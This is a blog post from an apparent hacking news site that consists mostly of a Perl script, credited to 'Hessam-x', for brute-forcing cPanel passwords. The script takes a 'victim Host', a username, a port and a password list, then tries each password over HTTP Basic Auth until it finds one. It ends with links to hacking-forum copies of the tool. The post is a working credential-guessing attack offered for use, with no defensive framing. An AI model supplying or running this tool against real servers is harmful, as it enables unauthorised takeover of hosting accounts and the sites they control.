Hackers Chronicle - Online Cyber Security News: cPanel

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0FOq6H3_NuqzqYMfE4uzSEm3n45BUfzQ7mKIM-8D04PI2-3s1cZ840CUtB0yUxTNdQ7o5c1ig6BQWhtb9r-EtG5nIuZ3WwOW70bZatbyZpyYMOITCAMbaJGvITIfkxoEwILcNk9W0IUh/s1600/cpanel+bruteforce.jpg" imageanchor="1" style=""><img border="0" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0FOq6H3_NuqzqYMfE4uzSEm3n45BUfzQ7mKIM-8D04PI2-3s1cZ840CUtB0yUxTNdQ7o5c1ig6BQWhtb9r-EtG5nIuZ3WwOW70bZatbyZpyYMOITCAMbaJGvITIfkxoEwILcNk9W0IUh/s280/cpanel+bruteforce.jpg" width="280" /></a></div><br />
<br />
<div class="program glow"><pre><code class="prettyprint">
# Cpanel Password Brute Forcer
# ----------------------------
# (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/

use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host = $ARGV[0];
$user = $ARGV[1];
$port = $ARGV[2];
$list = $ARGV[3];
$file = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
################################################## #############
# usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
#-------------------------------------------------------------#
# [Host] : victim Host (simorgh-ev.com) #
# [User] : User Name (demo) #
# [PORT] : Port of Cpanel (2082) #
#[list] : File Of password list (list.txt) #
# [File] : file for save password (password.txt) #
# #
################################################## #############
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);exit;}

headx();

$numstart = "-1";

sub headx() {
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "
[~] Try Password : $passwd
";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
[-] Can not connect to the host";
print $sock "GET / HTTP/1.1
";
print $sock "Authorization: Basic $authx
";
print $sock "Connection: Close

";
read $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print "
[~] PASSWORD FOUND : $passwd
";
exit();
}
}
</code></pre></div><span style="color: red;">Further Reading:</span><br />
<a href="http://www.turkhackteam.net/exploitler/22051-cpanel-password-brute-force-tool-perl-exploit.html" target="_blank"> Perl cPanel Bruteforcer</a><br />
<a href="http://bustedhumor.com/preview-cpanel-bruteforcer-safe-mode-open-basedir-bypasser-t-1951.html">Perl cPanel Bruteforcer Preview</a><br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)<br />
<div></div></div>

# Cpanel Password Brute Forcer # ---------------------------- # (c)oded By Hessam-x # Perl Version ( low speed ) # Oerginal Advisory : # ...